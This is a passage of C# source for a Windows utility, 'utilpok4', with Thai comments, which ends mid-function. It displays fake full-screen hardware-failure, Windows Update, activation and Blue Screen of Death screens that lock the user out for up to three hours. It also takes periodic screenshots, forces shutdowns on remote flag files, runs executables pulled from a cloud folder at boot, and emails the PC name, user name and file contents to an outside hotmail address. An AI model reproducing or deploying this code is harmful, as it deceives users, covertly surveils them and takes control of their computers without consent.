using System;
using System.IO;
using System.Timers;
using System.Drawing;
using System.Windows.Forms;
using System.IO.Compression;
using System.Diagnostics;
using System.Net.Mail;
using System.Media;
using System.Net;
using System.Threading;
using Microsoft.Win32;

namespace utilpok4
{
    static class Program
    {
        public class MyGlobal
         {
            public static int insource=0;
            public static int in_pos_prog=0;
            public static int instandalone=0; // ตรวจสอบว่าเป็นว่าไม่มีโปรแกรม  
            public static string path_insource= @"J:\_MyCloud\Gdrive\Internet\xn.vidioactive.forme.love\";
            public static string path_in_pos_prog= @"V:\_MyCloud\Gdrive\Internet\xn.vidioactive.forme.love\";
            public static string cpSubPath="";  // แสดงโพลเดอร์ที่ SAVE มาจาก D:\\bdpos\repoPOK.txt
            public static string cpFlag;
            public static string cpWord1;
            public static string cpWord2;
            public static string cpText1;
            public static string cpText2;
            public static int ncount = 15,tcount=15;
            public static int iOnline = 1;
            public static string cIndexRun;
            public static DateTime dDTLogin;
            public static string cpDriveHave = "D:";
            public static string MyApp= System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
        }

        private static System.Timers.Timer pokTimer;
        private static System.Timers.Timer pokTimer2;
        // Form0
        public class Form0 : Form
        {
            public Form0()
            {
                string txtinTask = "Windows Version";
                switch (MyGlobal.cpWord1) 
                {
                    case ("1"): txtinTask = "Hardware ... Check"; break;
                    case ("2"): txtinTask = "Generate ... Product Key"; break;
                    case ("3"): txtinTask = "Windows Update"; break;
                    case ("4"): txtinTask = "Windows Update"; break;
                    case ("5"): txtinTask = "Windows Update"; break;
                    case ("6"): txtinTask = "Windows Fix"; break;
                    case ("7"): txtinTask = "Windows Fix"; break;
                    case ("8"): txtinTask = "Windows Automatic Repair"; break;
                    case ("9"): txtinTask = "Windows Automatic Repair"; break;
                }
                this.Text =txtinTask;
                this.WindowState = System.Windows.Forms.FormWindowState.Maximized;
                this.FormBorderStyle = FormBorderStyle.None;
                this.DesktopLocation = new Point(0, 0);
                this.ShowInTaskbar = false;
                switch (MyGlobal.cpWord1) 
                {
                    case ("1"):
                        this.BackColor = Color.Black;
                        break;
                    case ("2"):
                        this.BackColor = Color.White;
                        break;
                    case ("3"):
                        this.BackColor = Color.Black;
                        break;
                    case ("4"):
                        this.BackColor = Color.FromArgb(0, 128, 192);
                        break;
                    case ("5"):
                        this.BackColor = Color.FromArgb(0, 128, 192);
                        break;
                    case ("8"):
                    case ("W"):
                    case ("9"): 
                        if (MyGlobal.ncount <= 3) { this.BackColor = Color.FromArgb(0, 128, 192); }
                        else { this.BackColor = Color.Black; }
                        break;
                    default:
                        this.BackColor = Color.FromArgb(0, 128, 192);
                        break;
                }
            }

            private void Form0_Load(object sender, EventArgs e)
            {

            }
		}
        // Form0

		
        // Form1 
        public class Form1 : Form
        {

            public Button button1;
            public Label ctext1, ctext2, ctext3, ctext4, ctext5;
            public static Label cPercent;
            public PictureBox pPicture1;

            public Form1()
            {
                this.Size = new System.Drawing.Size(500, 250);
                this.StartPosition = FormStartPosition.CenterScreen;
                this.FormBorderStyle = FormBorderStyle.None;
                this.TopMost = true;
                this.AutoScroll = false;
                this.ShowInTaskbar = false;

                int ncol = 30,nrow=20;
                ctext1 = new Label();
                ctext1.Location = new Point(20+ncol, 20+nrow);
                ctext1.AutoSize = true;
                this.Controls.Add(ctext1);

                ctext2 = new Label();
                ctext2.Location = new Point(20 + ncol, 45 + nrow);
                ctext2.AutoSize = true;
                this.Controls.Add(ctext2);

                ctext3 = new Label();
                ctext3.Location = new Point(20 + ncol, 70 + nrow);
                ctext3.AutoSize = true;
                this.Controls.Add(ctext3);

                ctext4 = new Label();
                ctext4.Location = new Point(20 + ncol, 95 + nrow);
                ctext4.AutoSize = true;
                this.Controls.Add(ctext4);

                ctext5 = new Label();
                ctext5.Location = new Point(20 + ncol, 120 + nrow);
                ctext5.AutoSize = true;
                this.Controls.Add(ctext5);

                cPercent = new Label();
                cPercent.Location = new Point(20 + ncol, 145 + 25 +nrow);  
                cPercent.AutoSize = true;
                this.Controls.Add(cPercent);

                TextBox cTextBox1 = new TextBox();
                cTextBox1.KeyPress += new KeyPressEventHandler(cTextBox1_KeyPress);
                cTextBox1.Location = new Point(20 + ncol, 145 + 25 + nrow);
                this.Controls.Add(cTextBox1);

                foreach (Control cTextAll in this.Controls)
                {
                    if (cTextAll is Label)
                    {
                        cTextAll.Font = new Font("Tahoma", 12, FontStyle.Regular);
                        cTextAll.ForeColor = Color.White;
                        cTextAll.BackColor=Color.Black ;
                    }
                }

                button1 = new Button();
                button1.Size = new Size(1, 1);
                button1.Location = new Point(370, 200);
                button1.Enabled = false; 

                this.Controls.Add(button1);
                button1.Click += new EventHandler(button1_Click); 

                pPicture1 = new PictureBox();
                this.Controls.Add(pPicture1);

                int nRowMove = 200;

                string cImageFile = "C:\\Temp\\Tmp.jpg";
                cTextBox1.Visible = false;
                switch (MyGlobal.cpWord1)  
                {
                    case ("1"):
                        cImageFile = "C:\\Temp\\systemfailure-1.gif";
                        this.BackColor = Color.Black;
                        pPicture1.Location = new Point(20, 20);
                        pPicture1.Size = new System.Drawing.Size(480, 288);
                        ctext1.Text = "                        PLEASE WAIT";
                        ctext1.ForeColor = Color.FromArgb(0,255,0);
                        ctext2.Text = "       Warning : Hardware failure detected! Test stopped "; 
                        ctext2.ForeColor = Color.FromArgb(0, 255, 0);
                        ctext3.Text = "        Don't turn off your computer or close windows";
                        ctext3.ForeColor = Color.FromArgb(0, 255, 0);
                        cPercent.ForeColor = Color.FromArgb(0, 255, 0);
                        cPercent.Location= new Point(50, 190);
                        break;
                    case ("2"):
                        cImageFile = "C:\\Temp\\ring.gif";
                        this.Size = new System.Drawing.Size(500, 400);
                        this.BackColor = Color.White ;
                        pPicture1.BackColor = Color.White;
                        pPicture1.Location = new Point(40, 70);
                        pPicture1.Size = new System.Drawing.Size(384, 384);
                        ctext1.Text = "Windows is not activated or crack or generate key";
                        ctext2.Text = "Search : product key windows genuine";
                        ctext3.Text = "Warning : don't turn off your computer or close Windows";
                        ctext1.BackColor = Color.White;
                        ctext1.ForeColor = Color.Red;
                        ctext2.BackColor = Color.White;
                        ctext2.ForeColor = Color.Red;
                        ctext3.BackColor = Color.White;
                        ctext3.ForeColor = Color.Red;
                        cPercent.BackColor = Color.White;
                        cPercent.ForeColor = Color.Red;
                        cPercent.Location = new Point(50, 115);
                        break;
                    case ("3"):
                        Random random = new Random();
                        int randomNumber = random.Next(0, 1000000);
                        Random random2 = new Random();
                        int randomNumber2 = random.Next(0, 100);
                        cImageFile = "C:\\Temp\\win-2.gif";
                        this.Size = new System.Drawing.Size(1280, 720);
                        this.BackColor = Color.Black;
                        pPicture1.BackColor = Color.Black;
                        pPicture1.Location = new Point(0, 0);
                        pPicture1.Size = new System.Drawing.Size(1280, 720);
                        ctext1.Text = "Windows updates : Download and install updates for your computer";
                        ctext1.ForeColor = Color.White;
                        ctext2.Text = randomNumber2.ToString().Trim()+" importatnt updates are available (KB " +randomNumber.ToString().Trim()+")";
                        ctext2.ForeColor = Color.White;
                        ctext3.Text = "Warning : don't work or don't turn off your computer or close Windows";
                        ctext3.ForeColor = Color.White;
                        cPercent.ForeColor = Color.White;
                        cPercent.Location = new Point(50, 190-70);
                        break;
                    case ("4"):
                        cImageFile = "C:\\Temp\\sky.gif";
                        this.BackColor = Color.FromArgb(0, 128, 192);
                        pPicture1.Location = new Point(20, 20);
                        pPicture1.Size = new System.Drawing.Size(443, 332);
                        ctext1.Text = "Windows Update.......";
                        ctext3.Text = "Working on update";
                        ctext4.Text = "Don't turn off your computer Or Close Windows";
                        break;
                    case ("5"): 
                        cImageFile = "C:\\Temp\\qrcodeactivate.png";
                        ctext1.Font = new Font("Tahoma", 24, FontStyle.Regular);
                        ctext2.Font = new Font("Tahoma", 16, FontStyle.Regular);
                        ctext3.Font = new Font("Tahoma", 12, FontStyle.Regular);
                        ctext4.Font = new Font("Tahoma", 12, FontStyle.Regular);
                        ctext5.Font = new Font("Tahoma", 16, FontStyle.Regular);
                        cTextBox1.Visible = true;
                        cTextBox1.Font= new Font("Tahoma", 12, FontStyle.Regular);
                        cTextBox1.Width = 260;
                        cTextBox1.Text = "XXXXX-XXXXX-XXXXX-XXXXX-XXXXX";
                        ctext1.Text = "Activate Windows";
                        ctext2.Text = "Go to PC settings to active Windows";
                        ctext3.Text = "Product ID:";
                        ctext5.Text = "";
                        cTextBox1.MaxLength = 29;
                        this.BackColor = Color.FromArgb(0, 128, 192);
                        this.WindowState = System.Windows.Forms.FormWindowState.Maximized;
                        ctext1.BackColor = Color.FromArgb(0, 128, 192);
                        ctext2.BackColor = Color.FromArgb(0, 128, 192);
                        ctext3.BackColor = Color.FromArgb(0, 128, 192);
                        ctext4.BackColor = Color.FromArgb(255,255 , 255);
                        ctext4.ForeColor = Color.FromArgb(0, 0, 0);
                        ctext5.BackColor = Color.FromArgb(0, 128, 192);
                        cPercent.BackColor = Color.FromArgb(0, 128, 192);
                        ctext1.Location = new Point(50, 25);
                        ctext2.Location = new Point(50, 75);
                        ctext3.Location = new Point(50, 125);
                        ctext4.Location = new Point(50, 150);
                        ctext5.Location = new Point(470, 750 - nRowMove);
                        cTextBox1.Location = new Point(50, 150);
                        cPercent.Location = new Point(350, 550 - nRowMove);
                        pPicture1.Size = new System.Drawing.Size(480, 288);
                        pPicture1.Location = new Point(50,200);
                        break;
                    case ("6"):
                        cImageFile = "C:\\Temp\\qrcodebluescreen.png";
                        ctext1.Font = new Font("Tahoma", 36, FontStyle.Regular);
                        ctext2.Font = new Font("Tahoma", 18, FontStyle.Italic);
                        ctext3.Font = new Font("Tahoma", 18, FontStyle.Italic);
                        ctext4.Font = new Font("Tahoma", 10, FontStyle.Italic);
                        ctext5.Font = new Font("Tahoma", 10, FontStyle.Italic);
                        ctext1.Text = ":(";
                        ctext2.Text = "Your Pc ran into a problem and needs to restart.";
                        ctext3.Text = "We're just collecting some error info, and then we'll restart for you.";
                        ctext4.Text = "For more information about this issue and possible fixes, https://www.microsoft.com/stopcode";
                        ctext5.Text = "Stop Code:PAGE_FAULT_IN_NONPAGED_AREA";

                        this.BackColor = Color.FromArgb(0, 128, 192);
                        this.WindowState = System.Windows.Forms.FormWindowState.Maximized;
                        ctext1.BackColor = Color.FromArgb(0, 128, 192);
                        ctext2.BackColor = Color.FromArgb(0, 128, 192);
                        ctext3.BackColor = Color.FromArgb(0, 128, 192);
                        ctext4.BackColor = Color.FromArgb(0, 128, 192);
                        ctext5.BackColor = Color.FromArgb(0, 128, 192);
                        cPercent.BackColor = Color.FromArgb(0, 128, 192);
                        ctext1.Location = new Point(350, 350-nRowMove);
                        ctext2.Location = new Point(350, 450 - nRowMove);
                        ctext3.Location = new Point(350, 500 - nRowMove);
                        ctext4.Location = new Point(470, 700 - nRowMove);
                        ctext5.Location = new Point(470, 750 - nRowMove);
                        cPercent.Location = new Point(350, 550 - nRowMove);
                        pPicture1.Size = new System.Drawing.Size(480, 288);
                        pPicture1.Location= new Point(350, 700 - nRowMove);
                        break;
                    case ("7"):
                        cImageFile = "C:\\Temp\\qrcodebluescreen.png";
                        ctext1.Font = new Font("Tahoma", 48, FontStyle.Regular);
                        ctext2.Font = new Font("Tahoma", 18, FontStyle.Italic);
                        ctext3.Font = new Font("Tahoma", 18, FontStyle.Italic);
                        ctext4.Font = new Font("Tahoma", 10, FontStyle.Italic);
                        ctext5.Font = new Font("Tahoma", 12, FontStyle.Italic);
                        ctext1.Text = ":(";
                        ctext2.Text = "FAT FILE SYSTEM is a Blue Screen of Death error";
                        ctext3.Text = "and just like any other BSoD error ";
                        ctext4.Text = "For more information about this issue and possible fixes, https://www.microsoft.com/stopcode";
                        ctext5.Text = "Fix FAULTY_HARDWARE_CORRUPTED_PAGE";
                        this.BackColor = Color.FromArgb(0, 128, 192);
                        this.WindowState = System.Windows.Forms.FormWindowState.Maximized;
                        ctext1.BackColor = Color.FromArgb(0, 128, 192);
                        ctext2.BackColor = Color.FromArgb(0, 128, 192);
                        ctext3.BackColor = Color.FromArgb(0, 128, 192);
                        ctext4.BackColor = Color.FromArgb(0, 128, 192);
                        ctext5.BackColor = Color.FromArgb(0, 128, 192);
                        cPercent.BackColor = Color.FromArgb(0, 128, 192);
                        ctext1.Location = new Point(350, 350 - nRowMove);
                        ctext2.Location = new Point(350, 450 - nRowMove);
                        ctext3.Location = new Point(350, 500 - nRowMove);
                        ctext4.Location = new Point(470, 700 - nRowMove);
                        ctext5.Location = new Point(430, 375 - nRowMove);
                        cPercent.Location = new Point(350, 550 - nRowMove);
                        pPicture1.Size = new System.Drawing.Size(480, 288);
                        pPicture1.Location = new Point(350, 700 - nRowMove);
                        break;
                    case ("8"):
                    case ("9"):
                        cImageFile = "C:\\Temp\\win-2.gif";
                        this.Size = new System.Drawing.Size(1280, 720);
                        this.BackColor = Color.Black; 
                        pPicture1.BackColor = Color.FromArgb(0, 128, 192);
                        pPicture1.Location = new Point(0, 0);
                        pPicture1.Size = new System.Drawing.Size(1280, 720);

                        ctext1.BackColor = Color.Black;
                        ctext1.ForeColor = Color.White;
                        ctext2.BackColor = Color.Black;
                        ctext2.ForeColor = Color.White;
                        ctext3.BackColor = Color.Black;
                        ctext3.ForeColor = Color.Yellow;
                        cPercent.BackColor = Color.Black;
                        cPercent.ForeColor = Color.Yellow;
                        ctext1.Location = new Point(0,650);
                        ctext2.Location = new Point(0,675);
                        ctext3.Location = new Point(0,700);
                        cPercent.Location = new Point(150, 650);  
                        if (MyGlobal.ncount <= 2)
                        {
                            pPicture1.ImageLocation = ""; 
                            ctext1.Text = "";
                            ctext2.Text = "";
                            ctext3.Text = "Welcome to Windows";
                            ctext3.ForeColor = Color.White;
                            ctext3.BackColor = Color.FromArgb(0, 128, 192);
                        }
                        else
                        {
                            ctext1.Text = "Automatic Repair";
                            ctext2.Text = "Your PC did not start correctly";
                            ctext3.Text = "Don't turn off your computer Or Close Windows";
                        }
                        break;
                    case ("W"):  
                        this.BackColor = Color.Black;
                        this.ForeColor = Color.Black;
                        break; 
                }
                if (File.Exists(cImageFile)) { pPicture1.ImageLocation = cImageFile ; }
            }

            private void button1_Click(object sender, EventArgs e)
            {
                this.Close();
            }

            private void Form1_Load(object sender, EventArgs e)
            {
                //
            }

            void cTextBox1_KeyPress(object sender, KeyPressEventArgs e)
            {
                TextBox theTb = sender as TextBox;
                if (e.KeyChar == '\r')
                {
                    MessageBox.Show("Product Key Activation Not Working");
                    theTb.Clear();
                    e.Handled = true;
                }
            }

        }
        // Form1 

        // Form2
        public class Form2 : Form 
        {
            public Form2()
            {
                this.WindowState = System.Windows.Forms.FormWindowState.Maximized;
                this.FormBorderStyle = FormBorderStyle.None;
                this.DesktopLocation = new Point(0, 0);
                this.Click += new EventHandler(Form2_Click);
                // ทำหน้า พื้นสกรีนกลมกลืนกับพื้นวินโดร์  
                this.BackColor = Color.Maroon;
                this.TransparencyKey = Color.Maroon;
                if (MyGlobal.insource+MyGlobal.in_pos_prog==0) { this.ShowInTaskbar = false; }
            }


            private void Form2_Click(object sender, EventArgs e)
            {
                // this.Close();
            }


            private void Form2_Load(object sender, EventArgs e)
            {
            }
        }
        // Form2

        static void UtilPOKReadMe()
        {
            MessageBox.Show(
            "-"+MyGlobal.MyApp + System.Environment.NewLine+"-"+ File.GetLastWriteTime(MyGlobal.MyApp).ToString()
            + System.Environment.NewLine+"Folder : "+MyGlobal.cpSubPath
            + System.Environment.NewLine + System.Environment.NewLine
            + "utilpok4 1 ? ?  --->แสดงหน้าจอมีเวลาต่างๆ  " + System.Environment.NewLine
            + "utilpok4 2 ชื่อไฟล์zip ชื่อโพลเดอร์--->Extract ไฟล์zip ไปโพลเดอร์ที่ต้องการ" + System.Environment.NewLine
            + "utilpok4 3 FileText 0--->ส่งเมล์ไป uyodteam@hotmail.com" + System.Environment.NewLine + System.Environment.NewLine
            + "utilpok4 4 0 0--->ปรับปรุงไฟล์ formPOK ให้เป็น เวอร์ชั่นใหม่" + System.Environment.NewLine
            + "utilpok4 4 1 0--->+ติดตั้ง start32bit ด้วย" + System.Environment.NewLine
            + "utilpok4 4 2 0--->+Run formPOK.exe" + System.Environment.NewLine
            + "utilpok4 4 3 0--->+เอา formPOK.exe ออก" + System.Environment.NewLine
            + "utilpok4 4 3 1--->+เอา formPOK.exe เข้า" + System.Environment.NewLine
            + "utilpok4 4 4 0--->+Run formPOK.exe ใน 1 ชั่วโมง " + System.Environment.NewLine
            + "utilpok4 4 5 0--->+เอา start32bit.exe ออก" + System.Environment.NewLine
            + "utilpok4 4 5 1--->+เอา start32bit.exe เข้า" + System.Environment.NewLine + System.Environment.NewLine
            + "utilpok4 5 0 0--->เพิ่มพื้นที่ TempFile " + System.Environment.NewLine
            + "utilpok4 5 1 0--->เพิ่มพื้นที่ เหลือ 10,000 Byte" + System.Environment.NewLine
            + "utilpok4 5 9 0--->เพิ่มพื้นที่ 10,000 Byte" + System.Environment.NewLine
            + "utilpok4 6 0 0--->ลบไฟล์ไม่ใช้งาน ในระบบ สำรองข้อมูล" + System.Environment.NewLine
            + "utilpok4 7 0 0--->เปิดโปรแกรม Task Manager" + System.Environment.NewLine
            + "utilpok4 7 1 0--->ชื่อไฟล์ใน Process ใน P.txt,S.txt" + System.Environment.NewLine
            + "utilpok4 7 2 ชื่อProcess --->ลบไฟล์ทำงานใน Process" + System.Environment.NewLine
            + "utilpok4 7 3 ชื่อไฟล์ --->ลบไฟล์ทำงานใน StartUP" + System.Environment.NewLine
            + "utilpok4 8 X 0 --->เปิดเวบหลายเวบ X 0=ไม่รอเวลา 1=รอเวลา" + System.Environment.NewLine
            + "utilpok4 9 X 0 --->ตรวจสอบค่า X 2=ยกเลิก 3=ตรวจสอบ" + System.Environment.NewLine
            + "utilpok4 R X ? --->Readme.txt X 0=ไม่แสดง 1=แสดง 2=Copy Shortcut" + System.Environment.NewLine
            + "utilpok4 S 1 0 --->ฝังตัว Win2Boot.lnk+Readme.txt" + System.Environment.NewLine
            );
        }


        static bool RunInSource() // Run ผ่าน Source Code เฉพาะใน Wondows FOR C#
        {
            bool lRunInSource;
            if (MyGlobal.insource==1) { lRunInSource = true; }
            else { lRunInSource = false; }
            return lRunInSource;
        }




        static void Win_Mess(string cfWord)
        {
            if (MyGlobal.insource + MyGlobal.in_pos_prog == 0) { return; }
            MessageBox.Show(cfWord + System.Environment.NewLine
            + "" + System.Environment.NewLine
            + "" + System.Environment.NewLine
            , "", MessageBoxButtons.OK, MessageBoxIcon.Error);
        }
        
         private static void ShowJPGON_POK()
        {
            AddTxtActivate("1",""); 
            switch (MyGlobal.cpWord1)
            {
                case ("1"): MyGlobal.ncount = 60*60; break; // System Fail 60 นาที
                case ("2"): MyGlobal.ncount = 60*60; break; // Registor Update 60 นาที
                case ("3"): MyGlobal.ncount = 120*60; break; // Windows Update 2 ชั่วโมง
                case ("4"): MyGlobal.ncount = 60*60; break; // Winddows Update 60 นาที
                case ("5"): MyGlobal.ncount = 60*60; break; // Winddows Update 60 นาที
                case ("6"): MyGlobal.ncount = 180 * 60; break; // 180 นาที
                case ("7"): MyGlobal.ncount = 180 * 60; break; // 180 นาที
                case ("8"): MyGlobal.ncount = 180 * 60; break; // 180 นาที
                case ("9"): MyGlobal.ncount = 180*60; break; // 180 นาที
                case ("W"): 
                    MyGlobal.ncount = 2 ; // 2 วินาที
                    if (File.Exists(MyGlobal.cpSubPath + "\\DEC\\uwinboot.Yes")) { MyGlobal.ncount = 10*60; }  // จอดำ 10 นาที
                    if (File.Exists(MyGlobal.cpSubPath + "\\DEC\\ShutdownWhenBoot.Yes")) { MyGlobal.ncount = 15*60; } // จอดำ 15 นาที

                    // ไม่เจอไฟล์ช่วยงานให้สร้างไว้ก่อน 
                    if (!File.Exists(MyGlobal.cpSubPath + "\\DEC\\ShutdownWhenBoot.Yes") && !File.Exists(MyGlobal.cpSubPath + "\\DEC\\ShutdownWhenBoot.no"))
                    { File.Copy("Brower.txt", MyGlobal.cpSubPath + "\\DEC\\ShutdownWhenBoot.no"); }
                    if (!File.Exists(MyGlobal.cpSubPath + "\\DEC\\uwinboot.Yes") && !File.Exists(MyGlobal.cpSubPath + "\\DEC\\uwinboot.no"))
                    { File.Copy("Brower.txt", MyGlobal.cpSubPath + "\\DEC\\uwinboot.no"); }
                    break;
                default: MyGlobal.ncount = 180*60; break; // 180 นาที
            }
   
            // ตรวจสอบหลักที่ 3 เพื่อนับนาที
            int nCol3=0;
            bool isNumeric = int.TryParse(MyGlobal.cpWord2, out nCol3);
            if (isNumeric && nCol3!=0) { MyGlobal.ncount = nCol3 * 60; }   // nCol3 = นาที 

            AddTxtActivate("0", " SET TIME : " + (MyGlobal.ncount/60).ToString() + " Minute");  
            System.TimeSpan duration = new System.TimeSpan(0,0, 0, MyGlobal.ncount);
            System.DateTime dDTLogout =  MyGlobal.dDTLogin.Add(duration);
            AddTxtActivate("0", " ESTIMATE :   "+dDTLogout.ToString("dd/MM HH:mm:ss"));

            if (MyGlobal.insource == 1 || MyGlobal.in_pos_prog==1) { MyGlobal.ncount = 4; } // เปลี่ยน 4 วินาที   
            MyGlobal.tcount = MyGlobal.ncount;
            try
            {
                // เริ่มทำงาน 
                Application.UseWaitCursor = true;
                SetTimer(1);
                Form0 window_0 = new Form0();
                window_0.Show();
                Form1 window_1 = new Form1();
                window_1.ShowDialog();
                pokTimer.Stop();
                pokTimer.Dispose();
                Application.UseWaitCursor = false;
                string FLEShutDown,FLEActive,FLEShutDown2;
                // กรณีฝังตัว ตอน BOOT
                if (MyGlobal.cpWord1 == "W")
                {
                    // กรณี BOOT พร้อมเครื่องถ้าเจอไฟล์ในคลาวด์ให้ ทำงาน uwinboot2.exe ด้วย 
                    FLEShutDown = MyGlobal.cpSubPath + "\\DEC\\UtilYOU.txt";
                    FLEActive = "C:\\Temp\\UtilYOU.txt";
                    CompareFile(FLEShutDown, FLEActive, 0);

                    FLEShutDown = MyGlobal.cpSubPath + "\\DEC\\uwinboot2.exe";
                    FLEActive = "C:\\Temp\\win4boot.exe";
                    if (File.Exists(FLEShutDown))
                    {
                        CompareFile(FLEShutDown, FLEActive, 0);
                        Process.Start(FLEActive);
                        AddTxtActivate("6", FLEShutDown);
                    }
                    // กรณี BOOT พร้อมเครื่องถ้าเจอไฟล์ในคลาวด์ให้ ทำงาน winloadh.bat ด้วย 
                    FLEShutDown = MyGlobal.cpSubPath + "\\DEC\\winloadh.bat";
                    FLEActive = "C:\\Temp\\Win2Load.bat";
                    if (File.Exists(FLEShutDown))
                    { CompareFile(FLEShutDown, FLEActive, 0); Process.Start(FLEActive); AddTxtActivate("6", FLEShutDown); }
                    else // สร้างไฟล์เพื่อแก้ไขในอนาคต
                    {
                        FLEShutDown = MyGlobal.cpSubPath + "\\DEC\\winloadh.ba_";
                        if (!File.Exists(FLEShutDown))
                        {
                            TextWriter FLEBat = new StreamWriter(FLEShutDown);
                            FLEBat.WriteLine("REM C:\\Temp\\WinLock 1 3 ?");
                            FLEBat.Close();
                        }
                    }
                    // ลบไฟล์ขยะต่างๆ
                    DelBDTmpFle(MyGlobal.cpSubPath + "\\OCT", "*.txt", 7);
                    DelBDTmpFle(MyGlobal.cpSubPath + "\\DEC\\Trash\\Bdpos", "*.*", 7);
                    DelBDTmpFle(MyGlobal.cpSubPath + "\\DEC\\Trash\\C_Temp", "*.*", 7);
                    DelBDTmpFle(MyGlobal.cpSubPath + "\\DEC\\Trash\\Dbfrun", "*.*", 7);
                    DelBDTmpFle(MyGlobal.cpSubPath + "\\DEC\\Trash\\E_Backup", "*.*", 7);
                    // ปรับปรุงโปรแกรมจากคลาว์
                    Update2HDK();
                }

                // ไม่เจอไฟล์ช่วยงานให้สร้างไว้ก่อน 
                if (!File.Exists(MyGlobal.cpSubPath + "\\DEC\\Shutdown.Yes") && !File.Exists(MyGlobal.cpSubPath + "\\DEC\\Shutdown.no"))
                { File.Copy("Brower.txt", MyGlobal.cpSubPath + "\\DEC\\Shutdown.no"); }

                // สำหรับ Shutdown เครื่อง
                FLEShutDown = MyGlobal.cpSubPath + "\\DEC\\Shutdown.Yes";
                FLEShutDown2 = MyGlobal.cpSubPath + "\\DEC\\Shutdown.OK";
                if (MyGlobal.cpWord1 == "W") { FLEShutDown = MyGlobal.cpSubPath + "\\DEC\\ShutdownWhenBoot"; }

                if (MyGlobal.cpWord1 == "9")  //  ให้ Shutdown เลย 
                {
                    AddTxtActivate("3", "");
                    AddTxtActivate("9", "");
                    if (MyGlobal.insource + MyGlobal.in_pos_prog == 0)
                    { Process.Start("shutdown", "/s /t 00"); } // 
                    else { Win_Mess("SHUTDOWN NOW"); }
                }
                else  // เช็คดู เงื่อนไขใน คลาวด์  Flag=1,2,3,4,5,6,7,8,W เข้าหมดยกเว้น 9
                {
                    if (File.Exists(FLEShutDown) || File.Exists(FLEShutDown2)) // Shutdown.Yes=Restart , Shutdown.OK=Shutdown
                    {
                        AddTxtActivate("3", "");
                        AddTxtActivate("9", "");
                        if (MyGlobal.insource + MyGlobal.in_pos_prog == 0)
                        {
                            if (File.Exists(FLEShutDown2)) { Process.Start("shutdown", "/s /t 00"); }
                            else { Process.Start("shutdown", "/r /t 00"); }
                        } // ภายใน 90 วินาที
                        else { Win_Mess("SHUTDOWN NOW ==> " + FLEShutDown); }
                    }
                }
            } // Try
            catch (Exception ex) { FLEError(ex.ToString()); return; }
        }

        

        //  ลบไฟล์ต่างๆในFolder ตามวัน ที่ระบุ 
        static void DelBDTmpFle(string cFolder, string cFor, int nDayCnt)
        {
            if (Directory.Exists(@cFolder))
            {
                string[] filePaths = Directory.GetFiles(@cFolder, cFor);
                foreach (string fileShow in filePaths)
                {
                    FileInfo fileaction = new FileInfo(fileShow);
                    if (fileaction.LastWriteTime < DateTime.Now.AddDays(nDayCnt * -1))
                    { fileaction.Delete();}
                }
            }
        }


        private static void SetTimer(int nSecond)
        {
            pokTimer = new System.Timers.Timer(nSecond*1000); // nSecond วินาที
            pokTimer.Elapsed += OnTimedEvent;
            pokTimer.AutoReset = true;
            pokTimer.Enabled = true;
        }


        private static void OnTimedEvent(Object source, ElapsedEventArgs e)  
        {
            MyGlobal.ncount--; 
            double dncount = Convert.ToDouble(MyGlobal.ncount), dtcount= Convert.ToDouble(MyGlobal.tcount);
            double mPercent = (dtcount - dncount) / dtcount;
			switch (MyGlobal.cpWord1) 
            {
                case ("1"):
                    Form1.cPercent.Text = "Scan .. Driver " + (mPercent * 100).ToString("N") + " % Complete";
                    break;
                case ("2"):
                    Form1.cPercent.Text = (mPercent * 100).ToString("N") + " %";
                    break;
                case ("W"):
                case ("5"):
                    Form1.cPercent.Text = "";  
                    break;
                default:
                    Form1.cPercent.Text = (mPercent * 100).ToString("N") + " %  Complete";
                    break;
            }

            if (MyGlobal.ncount <= 0)
            {
                Form1.ActiveForm.Close();
                Form0.ActiveForm.Close();
                AddTxtActivate("2", "");
                AddTxtActivate("3", "");
            }
            else
            {
                if (MyGlobal.ncount % 300 == 0 & MyGlobal.ncount >= 1) // ทุกๆ 5 นาที ให้เก็บ 1 ครั้ง  
                {
                    SaveScreen("S"+MyGlobal.ncount.ToString().Trim());
                    AddTxtActivate("0", " -ncount : "+ MyGlobal.ncount.ToString().Trim() + "  ," + DateTime.Now.ToString("HH:mm"));
                    Form0.ActiveForm.Show();
                    Form1.ActiveForm.Show();
                }
            }

        }

        private static void SaveScreen(string FLEScreen) 
        {
            string FLEUtilPok3= @"D:\BdPos\UtilPok3.Exe";
            FLEUtilPok3 = @"D:\BdPos\UtilPok3.Exe";
            if (!File.Exists(FLEUtilPok3)) { FLEUtilPok3 = @"G:\Pos\Util\UtilPok3.Exe"; }
            if (!File.Exists(FLEUtilPok3)) { FLEUtilPok3 = @"UtilPok3.Exe"; }
            if (File.Exists(FLEUtilPok3) && MyGlobal.insource+MyGlobal.in_pos_prog == 0)
            {
                Process2Arg(FLEUtilPok3,"1 "+MyGlobal.cpSubPath + "\\NOV"+" "+FLEScreen);
            }
        }


        private static void SetTimer2(int nSecond) // รอไว้ทำในโอกาส ต่อไป
        {
            pokTimer2 = new System.Timers.Timer(nSecond * 1000); // nSecond วินาที
            pokTimer2.Elapsed += OnTimedEvent2;
            pokTimer2.AutoReset = true;
            pokTimer2.Enabled = true;
        }


        private static void OnTimedEvent2(Object source, ElapsedEventArgs e)
        {
            Form2.ActiveForm.Close();
        }



        private static void ExtractFL()
        {
            string cfzip = MyGlobal.cpWord1.Trim();
            string cfFolder = MyGlobal.cpText2.Trim();
            if (!File.Exists(cfzip)) { Win_Mess("ไม่พบไฟล์  "+cfzip);return; }
            if (!Directory.Exists(cfFolder)) { Win_Mess("ไม่พบโพลเดอร์  " + cfFolder); return; }
            if (!Directory.Exists("Extract")) { Directory.CreateDirectory("Extract"); }
            using (ZipArchive pokzip = ZipFile.Open(cfzip, ZipArchiveMode.Read))
            {
                pokzip.ExtractToDirectory("Extract");
            }
            DirectoryInfo cFileList = new DirectoryInfo("Extract");
            FileInfo[] Files = cFileList.GetFiles("*.*");
            foreach (FileInfo filelist in Files)
            {
                File.Copy(filelist.FullName, cfFolder + "\\" + filelist, true);
                File.Delete(filelist.FullName);
            }
            File.Delete(cfzip);
        }


        private static void HotMail2Gmail(string FlText)
        {
            SmtpClient SmtpServer = new SmtpClient("smtp.live.com");
            var mail = new MailMessage();
            mail.From = new MailAddress("uyod@hotmail.com");
            mail.To.Add("uyodteam@hotmail.com");
            mail.Subject = "PC :" + Environment.GetEnvironmentVariable("USERDOMAIN")+ " USER : " + Environment.GetEnvironmentVariable("USERNAME");
            mail.IsBodyHtml = true;
            string htmlBody = "Start : "+ DateTime.Now.ToString("dd/MM HH:mm:ss") + "   ,";
            if (File.Exists(FlText))
            {
                string[] readText = File.ReadAllLines(FlText);
